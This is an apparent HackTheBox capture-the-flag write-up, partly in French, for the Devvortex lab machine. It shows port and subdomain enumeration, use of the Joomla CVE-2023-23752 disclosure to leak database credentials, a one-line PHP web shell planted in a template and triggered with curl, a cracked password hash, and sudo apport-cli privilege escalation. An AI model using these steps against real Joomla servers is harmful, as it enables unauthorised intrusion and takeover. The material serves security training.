Post cover image

October 20, 2026

HackTheBox — Devvortex

Target : 10.129.229.146

By AMOGUS | Cybersecurity

2 min read

Target : 10.129.229.146

Enumeration des ports ouverts et leur version

nmap -sV -sC 10.129.229.146
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-07 21:20 +0000
Nmap scan report for devvortex.htb (10.129.229.146)
Host is up (0.24s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DevVortex
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration du port 80 (nginx 1.18.0)

Domain found

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Location: http://devvortex.htb/
None

Directory Fuzzing

gobuster dir --url "http://devvortex.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Rien d'interressant trouver

Subdomain Fuzzing

ffuf -u "http://devvortex.htb" -H "Host: FUZZ.devvortex.htb" -w /usr/share/wordlists/dnsmap.txt -fl 8
dev
None

Identification de cms : joomla 4.2.6

cmseek -u http://dev.devvortex.htb/
None

Joomla 4.2.6 is vulnerable to critical security issues, most notably **CVE-2023-23752**, an improper access check vulnerability that allows unauthenticated attackers to perform sensitive information disclosure and potentially lead to remote code execution

PoC : url: [https://github.com/Acceis/exploit-CVE-2023-23752]

Users
[649] lewis (lewis) - lewis@devvortex.htb - Super Users
[650] logan paul (logan) - logan@devvortex.htb - Registered
Site info
Site name: Development
Editor: tinymce
Captcha: 0
Access: 1
Debug status: false
Database info
DB type: mysqli
DB host: localhost
DB user: lewis
DB password: P4ntherg0t1n5r3c0n##
DB name: joomla
DB prefix: sd4fg_
DB encryption 0

Creds Found

lewis:P4ntherg0t1n5r3c0n##

Connection au dashboard

None

Reverse shell

Se referencer a hacktricks https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/joomla.html

If you managed to get admin credentials you can RCE inside of it by adding a snippet of PHP code to gain RCE. We can do this by customizing a template.

  1. Click on Templates on the bottom left under Configuration to pull up the templates menu.
  2. Click on a template name. Let's choose protostar under the Template column header. This will bring us to the Templates: Customise page.
  3. Finally, you can click on a page to pull up the page source. Let's choose the error.php page. We'll add a PHP one-liner to gain code execution as follows:
  4. system($_GET['cmd']);
  5. Save & Close
  6. curl -s ``[http://joomla-site.local/templates/protostar/error.php?cmd=id](http://joomla-site.local/templates/protostar/error.php?cmd=id)
None None

Decouverte du hash de logan

mysql -u lewis -p
logan paul | logan    | logan@devvortex.htb | $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12
None 
logan:tequieromucho

User.txt : XXXXXXXXXXXXXXX

sudo -l
(ALL : ALL) /usr/bin/apport-cl

se referer a Gtfobins pour exploiter ce abus de privilege

https://gtfobins.org/gtfobins/apport-cli/#inherit

Root.txt : XXXXXXXXXXXXXX